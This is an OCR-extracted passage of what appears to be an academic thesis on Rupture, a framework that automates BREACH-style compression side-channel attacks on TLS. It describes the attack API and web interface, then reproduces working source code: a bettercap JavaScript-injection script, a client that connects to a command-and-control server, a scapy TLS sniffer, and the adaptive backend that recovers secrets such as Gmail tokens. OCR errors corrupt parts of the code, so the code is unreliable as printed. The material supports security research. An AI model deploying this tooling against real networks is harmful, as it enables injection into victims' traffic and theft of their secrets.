munication error, real-time will return an empty work object indicating there is no
available work to be performed at this time.

work-completed

When the client has finished its work or has been interrupted due to network error,
it emits a work-completed message, containing the following information:

work: work,
success: bool
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success is true if all requests were performed correctly, otherwise it is false. work con-
tains the work that was performed or failed to perform.

4.3.5 Backend

The backend is responsible for strategic decision taking, statistical analysis of sam-
ples collected, adaptively advancing the attack, and storing persistent data about the
attacks in progress for future analysis.

The backend talks to the real-time service for pushing work out to clients. It also speaks
to the sniffer for data collection.

It is implemented in Python using the Django framework.

The backend exposes a RESTful API via HTTP to which the real-time service makes
requests for work. This API is explained below.

real-time -> backend (HTTP)

The backend implements various API endpoints for communication with the real-time
server.

/get_work/<victim> is an HTTP GET endpoint. It requests work to be performed on
behalf of a client. The argument passed is the victim - the id of the victim.

If there is work to be done, it returns an HTTP 200 response with the JSON body con-
taining the work structure. The work will contain instructions to collect multiple sam-
ples from the same distribution by performing a series of similar requests. The sam-
ples associated with a particular work request and performed all together constitute
a sampleset.

In case no work is available for the client, it returns an HTTP ‘404‘ response. Work can
be unavailable in case a different client is already collecting data for the particular
victim, and we do not wish to interfere with it.

/work_completed/<victim> is an HTTP POST endpoint. It indicates on behalf of the
client that some work was successfully or unsuccessfully completed. The arguments
passed are the work and a boolean success parameter

If success is True, this indicates that the series of indicated requests were performed
by the victim correctly. Otherwise, the victim failed to perform the required requests
due to a network error or a timeout and the work has to be redone.
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Chapter 5

Rupture API via Web Ul

In this chapter we describe our contributions regarding a RESTful API for Rupture
We believe that the API that enables researchers to fully automate TLS-based attacks
such as compression side-channel attacks. We provide a usable, clean set of end-points
which can be used to mount the attack: Managing targets such as various web services,
managing victims by robustly injecting and sniffing for information on local networks
based on IP addresses, managing strategies for advancing attack rounds based on state
search exploration, and running analyses on collected data, which is stored persis-
tently. We are confident this automation will enable cryptographers and security re-
searchers to heavily experiment with the various attack parameters, yielding better
attack results in terms of correctness and performance.

5.1 RESTful API

In this section, We describe theimplementation of a RESTful API via HTTP to which
the user makes requests from the web User Interface. This RESTful API can also be
used directly by programmers without the need to use the web interface.

5.1.1 /attack

The /attack is an HTTP POST endpoint.

When the backend receives a POST request, it initiates a new attack. The arguments
passed are the victim’s IP and the target. There is also an optional parameter, the vic-
tim_id. If the victim_id exists, the victim already exists. If no victim_id argument is
passed, the backend creates and stores a new victim. In both cases, the backend cre-
ates the client and injection code for the specific victim and injects the client code to
the victim’s machine with bettercap. It returns HTTP 200 with a JSON that has a field
victimid, which contains the ID of the new victim.

5.1.2 /victim

The Wvictim is an HTTP POST and GET endpoint.

When the backend receives a POST request, it creates a new victim. The arguments
passed are the victim’s IP. The backend creates and stores a new victim, and returns
HTTP 200 with a JSON that has a field victimid, which contains the ID of the new victim.
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On a GET request, the backend returns an HTTP 200 JSON response. The JSON contains
a list of all the stored victims that the attack is still running on or has been completed.

5.1.3 /victim/< victimId >

The /victim/< victimId > is an HTTP GET, PUT and DELETE endpoint.

On a GET request, the backend returns HTTP 200 with a JSON with details for the
victim with the specific victimId. The argument passed is the victim’s Id. The backend
returns the general information and details of the attack. The general information
consists of the victim’s IP and machine name, the target name, the decrypted secret
up to this point and a percentage of the progress. Further details are provided per
batch. These are the round number, the batch number, the alignment alphabet, the
possible knownsecret and the confidence.

On a PUT request, the user asks the backend to pause or continue the attack. The ar-
gument passed is the desired state of the attack, either “paused” or "running”. The
backend updates the current state of the attack and returns HTTP 200.

On a DELETE request, the backend deletes the specific attack.

5.1.4 /victim/notstarted

The Wvictim/notstarted is an HTTP GET endpoint. When a GET request is received, the
backend scans the wifi network with bettercap to find all possible victims and their
machine’s name. The backend returns a list of possible’s victims IPs and machine
names.

5.1.5 /target

This is an HTTP 200 POST and GET endpoint. On a POST request, the argument passed
to the backend is the name of the target, the endpoint, the known prefix, the secret’s
alphabet, the secret length, the alignment alphabet, the records’ cardinality and the
method of the attack. The backend creates and stores the new target and returns 200
HTTP with a JSON with the target name.

On a GET request, the backend returns an HTTP 200 JSON response. The JSON contains
a list of all the stored target for which an attack is possible.

5.2 Web Ul

The user handles the attacks via a web interface which consists of two main pages
and a modal window. The two main pages are the Network Overview and the Victim
Attack Inspection. The modal window is used for the target configuration.

The Network Overview is the start page. It displays the completed, the currently run-
ning and the paused attacks. It also allows the user to initiate a new attack either by
adding a custom victim or by scanning and choosing one of victims with bettercap.
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Network Overview

Completed

Add custom victim

Running & Paused

o o [>]

Figure 5.1: Start Page

The completed and the running or paused attacks are represented PC icons. When
the user clicks the Scan for victims button, bettercap scans the network for possible
victims, which are shown beneath the running/paused attacks. The user can otherwise
click Add custom victim button if they already know the victim’s IP and don’t need to
search for other victims.

Not started

I N Oy I oy
[ |

Not started Not started Not started Not started
192.168.0.29 192.168.0.7 192.168.1.83 192.168.1.32
ce LG Mobile LG Electronics Hon Hawai Inc.

Figure 5.2: Possible victims for a new attack

The victim and target configuration are shown below. If the user has previously scanned
the network, the victim’s IP is already filled.

é

Choose Target: Gmail

P:

Figure 5.3: Victim Configuration

There are some pre-configured targets but the user can configure a new one.
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Target Configuration

Name:

Endpoint url:

Known prefix:

Secret length:

Secret Alphabet:

Alignment Alphabet:

Record cardinality: |

Method: ® Serial
Divide & Conquer

Close Done

Figure 5.4: Target Configuration

When the user clicks a completed, running or paused attack, they can view further
details of the attack.

NMGmail
192.168.1.2, Macintosh Apple
Decrypted secret: imperd

20%

Round Batch  Alignment Alphabet Possible Confidence
Knownprefix

1 1 ABCDEFGHIJKLMNOPQRSTUVXYZW  imperd 0.67

1 2 UBADQERFCHIJKLZNOGPSWTVXYM  imperd 10

Figure 5.5: Attack details

The above indicate how easily the user can perform the attack in a fully automated
way.
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Chapter 6

IHapaptnua

6.1 Injector

#!/bin/sh
SOURCEIP=$1

iconv -f utf-8 -t ascii//TRANSLIT dist/main.js > dist/main2.js

mv -f dist/main2.js dist/main.js

sudo bettercap -T ${SOURCEIP} --proxy --proxy-module injectjs --allow-
local-connections --js-file dist/main.js

Listing 6.1: inject.sh

6.2 Client

const io = require('socket.io-client'),
req = require('./request.js'),
config = require('./config.js');

const BREACHClient = {
ONE_REQUEST_TIMEQUT: 5000,
MORE_WORK_TIMEOUT: 10000,
_socket: null,
init () {
let flag = O;
this._socket = io.connect(config.COMMAND_CONTROL_URL);
this._socket.on('connect', () => {
console.log('Connected');
this.noWork(flag);
b
this._socket.on('do-work', (work) => {
console.log('do-work message');
this.doWork (work) ;

B

this._socket.on('server-hello', () => {
this.getWork () ;
console.log('Initialized');

B

this._socket.on('server-nowork', () => {

this.noWork(flag);
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B

},
noWork (flag) {
if (flag == 0) {
flag = 1;
this._socket.emit('client-hello', {
victim_id: config.VICTIM_ID
b;
}
else {
console.log('No work');
setTimeout (
O =>A
this._socket.emit('client-hello', {
victim_id: config.VICTIM_ID
b
},
this.MORE_WORK_TIMEOUT
);
}
},
doWork (work) {
const {url, amount, alignmentalphabet} = work;

// TODO: rate limiting

if (typeof url == 'undefined') {
this.noWork () ;
return;

}

console.log('Got work: ', work);

const reportCompletion = (success) => {

if (success) {
console.log('Reporting work-completed to server');

b
else {

console.log('Reporting work-completed FAILURE to server')
b

this._socket.emit('work-completed', {
work: work,
success: success,
host: window.location.host

1)

}

req.Collection.create(
url,
{amount: amount, alignmentalphabet: alignmentalphabet},
function() {},
reportCompletion.bind(this, true),
reportCompletion.bind(this, false)

)

},

getWork () {
console.log('Getting work');
this._socket.emit ('get-work');




};

BREACHClient.init ();

Listing 6.2: breach.jsx

6.3 Sniffer

import threading

import logging

import binascii

import socket

import collections

from scapy.all import sniff, Raw, IP, TCP, send

logger = logging.getLogger ('sniffer')

# TLS Header
TLS_HEADER_LENGTH = 5

TLS_CONTENT_TYPE = 0
TLS_LENGTH_MAJOR = 3
TLS_LENGTH_MINOR = 4

# TLS Content Types

TLS_CHANGE_CIPHER_SPEC = 20

TLS_ALERT = 21

TLS_HANDSHAKE = 22

TLS_APPLICATION_DATA = 23

TLS_HEARTBEAT = 24

TLS_CONTENT = {
TLS_CHANGE_CIPHER_SPEC: 'Change cipher spec (20)',
TLS_ALERT: 'Alert (21)',
TLS_HANDSHAKE: 'Handshake (22)°',
TLS_APPLICATION_DATA: 'Application Data (23)',
TLS_HEARTBEAT: 'Heartbeat (24)'

class Sniffer (threading.Thread):
L]
Class that defines a sniffer thread object. It implements interface
methods for
creating, starting, reading the captured packets and deleting the
sniffer.

def __init__(self, arg):

Initialize the sniffer thread object.

Argument:
arg -- dictionary with the sniffer parameters:
interface: the device interface to use sniff on, e.g.
wlanO
source_ip: the local network IP of the victim, e.g.
192.168.1.66
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destination_host: the hostname of the attacked endpoint, e
.g. dimkarakostas.com

super (Sniffer, self).__init__Q)

# Set thread to run as daemon
self.daemon = True

# Initialize object variables with parameters from arg dictionary

self.arg = arg
try:
self.interface = str(arg['interface'])
self.source_ip = str(arg['source_ip'])
self.destination_host = str(argl['destination_host'])
self .destination_port = int(arg['destination_port'])
except KeyError:
raise ValueError('Invalid argument dictionary - Not enough

parameters ')

try:
self .destination_ip = socket.gethostbyaddr (self.
destination_host) [-1] [0]
except socket.herror, err:
raise ValueError ('socket.herror - {}'.format(str(err)))

# If either of the parameters is None, raise ValueError
if not all([

self.interface,

self.source_ip,

self .destination_host,

self.destination_port]

raise ValueError('Invalid argument dictionary - Invalid
parameters ')

# Dictionary with keys the destination (victim's) port
# and value the data stream corresponding to that port

self .port_streams = collections.defaultdict(lambda: [])

# Thread has not come to life yet

self.status = False
def run(self):
self.status = True

self.start_sniffing()

def start_sniffing(self):

# Capture only response packets

capture_filter = 'tcp and src host {} and src port {} and dst
host {}'.format(self.destination_ip, self.destination_port, self.
source_ip)

# Start blocking sniff function,
# save captured packet
# and set it to stop when stop() is called
sniff(
iface=self.interface,




filter=capture_filter,
prn=lambda pkt: self.process_packet (pkt),
stop_filter=lambda pkt: self.filter_packet (pkt)

def filter_packet(self, pkt):
return not self.is_alive()

def process_packet (self, pkt):
# logger.debug(pkt.summary())

# Check for retransmission of same packet

try:
previous_packet = self.port_streams [pkt.dport][-1]
if previous_packet[Raw] == pkt[Raw]:

return

except IndexError:
# Either stream list is empty
# or one of the two packets does not have Raw data.
# In either case, the packet is 0K to be saved.
pass

self .port_streams [pkt.dport].append (pkt)

def is_alive(self):
# Return if thread is dead or alive
return self.status

def get_capture(self):
# Get the data that were captured so far
capture = self.parse_capture()

return capture

def stop(self):
# Kill it with fire!
self.status = False

# Send 3 stop packets, in case one is not captured
for i in range(3):
self.stop_packet ()

def stop_packet(self):

Send a dummy TCP packet to the victim with source IP the
destination host's,

which will be caught by sniff filter and cause sniff function to
stop.

dummy_packet = IP(dst=self.destination_ip, src=self.source_ip)/
TCP (dport=self.destination_port)

send (dummy_packet, verbose=0)

def follow_stream(self, stream):
stream_data = b''
for pkt in stream:
if Raw in pkt:
stream_data += str(pkt[Raw])
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return stream_data

def parse_capture(self):

L)

Parse the captured packets and return a string of the appropriate
data.

L)

logger .debug('Parsing captured TLS streams')

application_data = b''

application_records = 0

# Iterate over the captured packets

# and aggregate the application level payload

for port, stream in self.port_streams.items():
stream_data = self.follow_stream(stream)

data_record_list = self.get_application_data(stream_data)

application_data += ''.join(data_record_list)
application_records += len(data_record_list)

logger .debug('Captured {} application data'.format(len(
application_data)))

logger .debug('Captured {} application records'.format (
application_records))

return {
'data': application_data,
'records': application_records

}

def get_application_data(self, payload_data):

Parse aggregated packet data and keep only TLS application data.

Argument:
payload_data - binary string of TLS layer packet payload

Returns a string of aggregated binary TLS application data,
including record headers.

application_data (]
while payload_data:
content_type = ord(payload_data[TLS_CONTENT_TYPE])
length = 256 * ord(payload_data[TLS_LENGTH_MAJOR]) + ord(
payload_data[TLS_LENGTH_MINOR])

# payload_data should begin with a valid TLS header
if content_type not in TLS_CONTENT:
logger .warning ('Invalid payload data.')

# Flush invalid captured packets
raise ValueError('Captured packets were not properly

constructed')

# Keep only TLS application data payload
if content_type == TLS_APPLICATION_DATA:
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application_data.append(binascii.hexlify(payload_datal
TLS_HEADER_LENGTH:TLS_HEADER_LENGTH + length]))

# Parse all TLS records in the aggregated payload data
payload_data = payload_data[TLS_HEADER_LENGTH + length:]

return application_data

Listing 6.3: sniffer.py

6.4 Real-time

const program = require('commander');
program
.version('0.0.1")
.option('-p, --port <port>', 'specify the websocket port to listen to
[(3031] ', 3031)
.option('-H, --backend-host <hostname>', 'specify the hostname of the
HTTP backend service to connect to [localhost]', 'localhost')
.option('-P, --backend-port <port>', 'specify the port of the HTTP
backend service to connect to [8000]', 8000)

.parse(process.argv) ;

const io = require('socket.io'),
winston = require('winston'),
http = require('http');

winston.level = 'debug';
winston.remove (winston.transports.Console);
winston.add(winston.transports.Console, {'timestamp': true});

const PORT = program.port;

winston.info ('Rupture real-time service starting');
winston.info('Listening on port ' + PORT);

const socket = io.listen (PORT);
const victims = {};

const BACKEND_HOST program.backendHost;
BACKEND_PORT = program.backendPort;

winston.info ('Backed by backend service running at ' + BACKEND_HOST + ':'
+ BACKEND_PORT) ;

socket.on('connection', (client) => {
winston.info('New connection from client ' + client.id);

let victimId;
client.on('client-hello', (data) => {

let victim_id;

try {
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({victim_id} = data);
}
catch (e) {
winston.error('Got invalid client-hello message from client')

return;

}

if (!victims([victim_id]) {
victimId = victim_id;
victims [victimId] = client.id;

client.emit ('server-hello');
winston.debug('Send server-hello message');

}

else {
client.emit ('server-nowork');
winston.debug('There is an other victimId <-> client.id match

Make client idle');
¥
B

const doNoWork = () => {
client.emit ('do-work', {3});
};

const createNewWork = () => {
const getWorkOptions = {
host: BACKEND_HOST,
port: BACKEND_PORT,
path: '/breach/get_work/' + victimId
3

winston.debug('Forwarding get_work request to backend URL ' +
getWorkOptions.path);

const getWorkRequest http.request (getWorkOptions, (response) =>

let responseData = '';
response.on('data', (chunk) => {
responseData += chunk;
5
response.on('end', () => {
try {
client.emit('do-work', JSON.parse(responseData));
winston.info('Got (get-work) response from backend:
+ responseData) ;
}
catch (e) {
winston.error('Got invalid (get-work) response from

backend ') ;
doNoWork () ;
}
s
B
getWorkRequest.on('error', (err) => {
winston.error ('Caught getWorkRequest error: ' + err);

doNoWork () ;
B




getWorkRequest.end () ;
};

const reportWorkCompleted = (work) => {
const requestBodyString = JSON.stringify(work);

const workCompletedOptions = {
host: BACKEND_HOST,
port: BACKEND_PORT,
headers: {
'"Content-Type': 'application/json',
'Content-Length': requestBodyString.length
1,
path: '/breach/work_completed/' + victimId,
method: 'POST',
3

const workCompletedRequest = http.request(workCompletedOptions, (
response) => {
let respomnseData = '';
response.on('data', (chunk) => {
responseData += chunk;

35
response.on('end', () => {
try {
const victory = JSON.parse(responseData).victory;
winston.info('Got (work-completed) response from
backend: ' + responseData);

if (victory === false) {
createNewWork () ;
}
}
catch (e) {
winston.error('Got invalid (work-completed) response
from backend');
doNoWork () ;

}
15
25
workCompletedRequest.on('error', (err) => {
winston.error ('Caught workCompletedRequest error: ' + err);
doNoWork () ;
B

workCompletedRequest.write (requestBodyString) ;
workCompletedRequest.end () ;
3

client.on('get-work', () => {
winston.info('get-work from client ' + client.id);
createNewWork () ;

)

client.on('work-completed', (data) => {
let work, success, host;

try {
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({work, success, host} = data);

}

catch (e) {
winston.error('Got invalid work-completed from client');
return;

}

winston.info('Client indicates work completed: ', work, success,
host);

const requestBody = work;
requestBody.success = success;
reportWorkCompleted (requestBody) ;
ION
client.on('disconnect', () => {
winston.info('Client ' + client.id + ' disconnected');

for (let i in victims) {
if (victims[i] == client.id) {
victims[i] = null;

}

const requestBody = {
success: false
3
reportWorkCompleted (requestBody) ;
b

Listing 6.4: index.js

6.5 Backend - Strategy

from django.utils import timezone
from django.db.models import Max
from django.core.exceptions import ValidationError

from breach.analyzer import decide_next_world_state
from breach.models import Target, Round, SampleSet
from breach.sniffer import Sniffer

import string
import requests
import logging
import random

logger = logging.getLogger (__name__)

CALIBRATION_STEP = 0.1
CALIBRATION_SAMPLESET_WINDOW_CHECK = 3

class MaxReflectionLengthError (Exception):
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'''Custom exception to handle cases when maxreflectionlength
is not sufficient for the attack to continue.'''
pass

class Strategy(object):

def __init__(self, victim):

self._victim = victim

sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait

}

self._sniffer = Sniffer(sniffer_params)

# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).
aggregate (Max('index')) ['index__max ']

if not current_round_index:

current_round_index = 1
self._analyzed = True
try:

self._begin_attack ()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created,
end the analysis
return

self._round = Round.objects.filter(
victim=self. _victim,
index=current_round_index

) [0]

self._analyzed = False

def _build_candidates_divide_conquer (self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2

bottom_half = state['knownalphabet'][:
candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality

1]
return [bottom_half, top_half]

def _build_candidates_serial(self, state):
return state['knownalphabet ']

def _build_candidates(self, state):
''"'Given a state of the world, produce a list of candidate
alphabets.'''
methods = {
Target .SERIAL: self._build_candidates_serial,
Target .DIVIDE_CONQUER: self._build_candidates_divide_conquer
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}
return methods[self._round.get_method ()] (state)

def _get_first_round_state(self):
return {
'knownsecret': self._victim.target.prefix,
'candidatealphabet': self._victim.target.alphabet,
'knownalphabet ': self._victim.target.alphabet
}

def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
started=None

def _reflection(self, alphabet):

# We use sentinel as a separator symbol and we assume it is not
part of the

# secret. We also assume it will not be in the content.

# Added symbols are the total amount of dummy symbols that need
to be added,

# either in candidate alphabet or huffman complement set in order

# to avoid huffman tree imbalance between samplesets of the same
batch.

added_symbols = self._round.maxroundcardinality - self._round.
minroundcardinality

sentinel = self._victim.target.sentinel

assert (sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(set(string.ascii_letters + string
.digits) - set(self._round.knownalphabet))

candidate_secrets = set()

for letter in alphabet:
candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)

# Candidate balance indicates the amount of dummy symbols that
will be included with the

# candidate alphabet's part of the reflection.

candidate_balance = self._round.maxroundcardinality - len(
candidate_secrets)

assert (len(knownalphabet_complement) > candidate_balance)

candidate_balance = [self._round.knownsecret + ¢ for c in
knownalphabet_complement [0: candidate_balance]]

reflected_data = [

sentinel.join(list(candidate_secrets) + candidate_balance),

if self._round.check_huffman_pool():




# Huffman complement indicates the knownalphabet symbols that
are not currently being tested

huffman_complement = set(self._round.knownalphabet) - set(
alphabet)

huffman_balance = added_symbols - len(candidate_balance)

assert (len(knownalphabet_complement) > len(candidate_balance)
+ huffman_balance)

huffman_balance = knownalphabet_complement [len(
candidate_balance) :huffman_balance]
reflected_data.insert (1, sentinel.join(list(
huffman_complement) + huffman_balance))
reflection = sentinel.join(reflected_data)

return reflection

def _url(self, alphabet):
return self._victim.target.endpoint J self._reflection(alphabet)

def _sampleset_to_work(self, sampleset):

return {
'url': self._url(sampleset.candidatealphabet),
'amount ': self._victim.target.samplesize,
'alignmentalphabet': sampleset.alignmentalphabet,
'timeout': O

}

def get_work(self):
'''"Produces work for the victim.

Pre-condition: There is already work to do.'"'

# If analysis is complete or maxreflectionlength cannot be
overcome
# then execution should abort
if self._analyzed:
logger .debug('Aborting get_work because analysis is completed
")

return {}

# Reaps a hanging sampleset that may exist from previous
framework execution
# Hanging sampleset condition: backend or realtime crash
hanging_samplesets = self._get_started_samplesets()
for s in hanging_samplesets:
logger . .warning ('Reaping hanging set for: {}'.format(s.
candidatealphabet))
self._mark_current_work_completed(sampleset=s)

try:
self. _sniffer.start ()
except (requests.HTTPError, requests.exceptions.ConnectionError),
err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
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logger .warning ('Caught {} while trying to start sniffer
.'.format (status_code))

# If status was raised due to conflict,
# delete already existing sniffer.
if status_code == 409:
try:
self._sniffer.delete()
except (requests.HTTPError, requests.exceptions.
ConnectionError), err:
logger .warning ('Caught error when trying to
delete sniffer: {}'.format(err))

elif isinstance(err, requests.exceptions.ConnectionError):
logger .warning ('Caught ConnectionError')

# An error occurred, so if there is a started sampleset mark
it as failed
if SampleSet.objects.filter (round=self._round, completed=None
) .exclude (started=None) :
self. _mark_current_work_completed ()

return {}
unstarted_samplesets = self._get_unstarted_samplesets ()

logger.debug('Found %i unstarted samplesets', len(
unstarted_samplesets))

assert (unstarted_samplesets)

sampleset = unstarted_samplesets [0]
sampleset.started = timezone.now()
sampleset.save ()

work = self._sampleset_to_work(sampleset)

logger .debug('Giving work:')
logger .debug('\tCandidate: {}'.format(sampleset.candidatealphabet
))

return work

def _get_started_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
completed=None
) .exclude (started=None)

def _get_current_sampleset (self):

started_samplesets = self._get_started_samplesets ()
assert(len(started_samplesets) == 1)
sampleset = started_samplesets[0]

return sampleset




def _handle_sampleset_success(self, capture, sampleset):

'''Save capture of successful sampleset

or mark sampleset as failed and create new sampleset for the same
element that failed.'''

if capture:

sampleset.success = True
sampleset.data = capture['data']
sampleset.records = capture['records']
sampleset.save ()
else:
SampleSet.create_sampleset ({
'round': self._round,

'candidatealphabet ': sampleset.candidatealphabet,
'alignmentalphabet ': sampleset.alignmentalphabet,
'batch': sampleset.batch

9

def _mark_current_work_completed(self, capture=None, sampleset=None):
if not sampleset:
sampleset = self._get_current_sampleset ()

logger .debug('Marking sampleset as completed:')

logger.debug('\tcandidatealphabet: %s', sampleset.
candidatealphabet)

logger .debug('\troundknownalphabet: %s', sampleset.round.
knownalphabet)

sampleset.completed = timezone.now()
sampleset.save ()

self._handle_sampleset_success(capture, sampleset)

def _collect_capture(self):
return self._sniffer.read()

def _analyze_current_round(self):

'''Analyzes the current round samplesets to extract a decision
[}

current_round_samplesets = SampleSet.objects.filter (round=self.
_round, success=True)
self._decision = decide_next_world_state(current_round_samplesets

)
logger.debug (75 * '#')
logger.debug('Decision: ')
for i in self._decision:
logger.debug ('\t{}: {}'.format(i, self._decision[i]))
logger .debug (75 * '#')

self._analyzed = True

def _round_is_completed(self):
'''Checks if current round is completed.'''

assert (self._analyzed)

# Do we need to collect more samplesets to build up confidence?
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return self._decision['confidence'] > self._victim.target.
confidence_threshold

def _create_next_round(self):
assert(self._round_is_completed())

self. _create_round(self._decision['state'])

def _set_round_cardinalities(self, candidate_alphabets):

self._round.maxroundcardinality = max(map(len,
candidate_alphabets))
self._round.minroundcardinality = min(map(len,

candidate_alphabets))

def _adapt_reflection_length(self, state):

'''Check reflection length compared to maxreflectionlength.

If current reflection length is bigger,

downgrade various attack
aspects

until reflection length <= maxreflectionlength.

If all downgrade attempts fail, raise a MaxReflectionLengthError.

Condition:
candidates in
candidate alphabet.'''
def _build_candidate_alphabets():
candidate_alphabets = self._build_candidates(state)

self._set_round_cardinalities(candidate_alphabets)
return candidate_alphabets

Reflection returns strings of same length for all

def _get_first_reflection():

alphabet = _build_candidate_alphabets () [0]
return self._reflection(alphabet)

logger.debug('Checking max reflection length...')

if self._round.victim.target.maxreflectionlength == 0:
self._set_round_cardinalities(self._build_candidates(state))
return

while len(_get_first_reflection()) > self._round.victim.target.
maxreflectionlength:
if self._round.get_method() == Target.DIVIDE_CONQUER:
self._round.method = Target.SERIAL

logger.info('Divide & conquer method cannot be used,
falling back to serial.')

elif self._round.check_huffman_pool():
self._round.huffman_pool = False
logger.info ('Huffman pool cannot be used, removing it.')
elif self._round.check_block_align():
self. _round.block_align = False

1ogger.info('Block alignment cannot be used, removing it

")
else:

raise MaxReflectionLengthError ('Cannot attack,

specified
maxreflectionlength is too short')




def _create_round(self, state):
'''"Creates a new round based on the analysis of the current round

assert (self._analyzed)

# This next round could potentially be the final round.
# A final round has the complete secret stored in knownsecret.
next_round = Round(

victim=self._victim,

index=self._round.index + 1 if hasattr(self, '

_round') else

amount=self._victim.target.samplesize,
knownalphabet=state['knownalphabet '],
knownsecret=state['knownsecret ']

)

next_round.save ()
self._round = next_round
try:

self._adapt_reflection_length(state)
except MaxReflectionLengthError, err:

self. _round.delete ()

self._analyzed = True

logger.info(err)

raise err

try:
next_round.clean ()
except ValidationError, err:
logger.error (err)
self. _round.delete ()
raise err

logger.debug('Created new round:')

logger .debug('\tKnown secret: {}'.format(next_round.knownsecret))

logger.debug('\tKnown alphabet: {}'.format(next_round.
knownalphabet))

logger .debug ('\tAmount: {}'.format(next_round.amount))

def _create_round_samplesets(self):

state = {
'knownalphabet ': self._round.knownalphabet,
'knownsecret': self._round.knownsecret

}

self. _round.batch += 1
self. _round.save ()

candidate_alphabets = self._build_candidates(state)

alignmentalphabet = "'
if self._round.check_block_align():
alignmentalphabet = list(self._round.victim.target.
alignmentalphabet)
random.shuffle(alignmentalphabet)
alignmentalphabet = ''.join(alignmentalphabet)
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logger.debug('\tAlignment alphabet: {}'.format(alignmentalphabet)

for candidate in candidate_alphabets:
SampleSet.create_sampleset ({
'round': self._round,
'candidatealphabet ': candidate,
'alignmentalphabet ': alignmentalphabet,
'batch': self._round.batch

b
def _attack_is_completed(self):
return len(self._round.knownsecret) == self._victim.target.
secretlength

def _need_for_calibration(self):

started_samplesets = SampleSet.objects.filter (round=self._round).
exclude (started=None)

minimum_samplesets = len(started_samplesets) >=
CALIBRATION_SAMPLESET_WINDOW_CHECK

calibration_samplesets = SampleSet.objects.filter (round=self.
_round) .order_by('-completed') [0: CALIBRATION_SAMPLESET_WINDOW_CHECK]

consecutive_failed_samplesets = all([not sampleset.success for

sampleset in calibration_samplesets])
return minimum_samplesets and consecutive_failed_samplesets

def _need_for_cardinality_update(self):

calibration_samplesets = SampleSet.objects.filter (round=self.
_round) .order_by('-completed') [0: CALIBRATION_SAMPLESET_WINDOW_CHECK]
consecutive_new_cardinality_samplesets = all(

[sampleset.records % sampleset.round.victim.target.samplesize
== 0 for sampleset in calibration_samplesets]
)
return self._need_for_calibration() and
consecutive_new_cardinality_samplesets

def _flush_batch_samplesets(self):

'''Mark all successful samplesets of current round's batch as
failed

and create replacements.'''

current_batch_samplesets = SampleSet.objects.filter (round=self.
_round, batch=self._round.batch, success=True).exclude(started=None)

for sampleset in current_batch_samplesets:

self._mark_current_work_completed(sampleset=sampleset)

def work_completed(self, success=True):
'''Receives and consumes work completed from the victim, analyzes
the work, and returns True if the attack is complete (victory),
otherwise returns False if more work is needed.

It also creates the new work that is needed.

Post-condition: Either the attack is completed, or there is work
to
do (there are unstarted samplesets in the database).'''
try:
if success:
# Call sniffer to get captured data




capture = self._collect_capture()

logger.debug('Work completed:')

logger.debug('\tLength: {}'.format(len(capture['data'])))
logger .debug('\tRecords: {}'.format(capturel['records']))

# Check if all TLS response records were captured,
# if available
if self._victim.recordscardinality:

expected_records = self._victim.target.samplesize *
self._victim.recordscardinality
if capture['records'] != expected_records:

if capture['records'] Y self._victim.target.
samplesize:
logger.debug('Records not multiple of
samplesize. Checking need for calibration...')
if self._need_for_calibration():
self. _victim.calibration_wait +=
CALIBRATION_STEP
self._victim.save ()
logger.debug('Calibrating system. New
calibration_wait time: {} seconds'.format(self._victim.
calibration_wait))
else:
logger .debug('Records multiple of samplesize
but with different cardinality.')
if self._need_for_cardinality_update():
self._victim.recordscardinality = int(
capture['records'] / self._victim.target.samplesize)
self. _victim.save ()
self._flush_batch_samplesets ()
logger.debug ("Updating records'
cardinality. New cardinality: {}".format(self._victim.
recordscardinality))

raise ValueError ('Not all records captured')
else:
logger .debug('Client returned fail to realtime')
raise ValueError ('Realtime reported unsuccessful capture

"

# Stop data collection and delete sniffer
self._sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError,
ValueError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger .warning ('Caught {} while trying to collect capture
and delete sniffer.'.format(status_code))

# If status was raised due to malformed capture,
# delete sniffer to avoid conflict.
if status_code == 422:
try:
self. _sniffer.delete()
except (requests.HTTPError, requests.exceptions.
ConnectionError), err:
logger .warning ('Caught error when trying to
delete sniffer: {}'.format(err))
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elif isinstance(err, requests.exceptions.ConnectionError):
logger .warning ('Caught ConnectionError')

elif isinstance(err, ValueError):
logger .warning (err)
try:
self._sniffer.delete ()
except (requests.HTTPError, requests.exceptions.
ConnectionError), err:
logger.warning (' Caught error when trying to delete
sniffer: {}'.format(err))

# An error occurred, so if there is a started sampleset mark
it as failed
if SampleSet.objects.filter (round=self._round, completed=None
) .exclude (started=None) :
self._mark_current_work_completed ()

return False
self._mark_current_work_completed(capture)

round_samplesets = SampleSet.objects.filter (round=self._round)
unstarted_samplesets = round_samplesets.filter (started=None)

if unstarted_samplesets:
# Batch is not yet complete, we need to collect more
samplesets
# that have already been created for this batch.
return False

# All batches are completed.
self._analyze_current_round()

if self._round_is_completed():
# Advance to the next round.
try:
self. _create_next_round()
except MaxReflectionLengthError:
# If a new round cannot be created, end the attack
return True

if self._attack_is_completed():
return True

# Not enough confidence, we need to create more samplesets to be
# collected for this round.
self._create_round_samplesets ()

return False
def _begin_attack(self):

self._create_round(self._get_first_round_state())
self._create_round_samplesets ()
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6.6 Backend - Analyzer

import operator
import collections
import logging

logger = logging.getLogger (__name__)

class AnalyzerError (Exception):
pass

def decide_optimal_candidate (candidate_lengths, samples_per_sampleset):
'''Take a dictionary of candidate alphabets and their associated
accumulative lengths and decide which candidate alphabet is the best
(minimum) with what confidence.

Returns a pair with the decision. The first element of the pair is
which

candidate alphabet is best; the second element is the confidence
level for

the decision.
[ |

assert(len(candidate_lengths) > 1)

samplesets_per_candidate = len(candidate_lengths.items () [0][1])
accumulated_candidate_lengths = []

for candidate_alphabet, list_of_lengths in candidate_lengths.
iteritems () :
accumulated_candidate_lengths.append ({
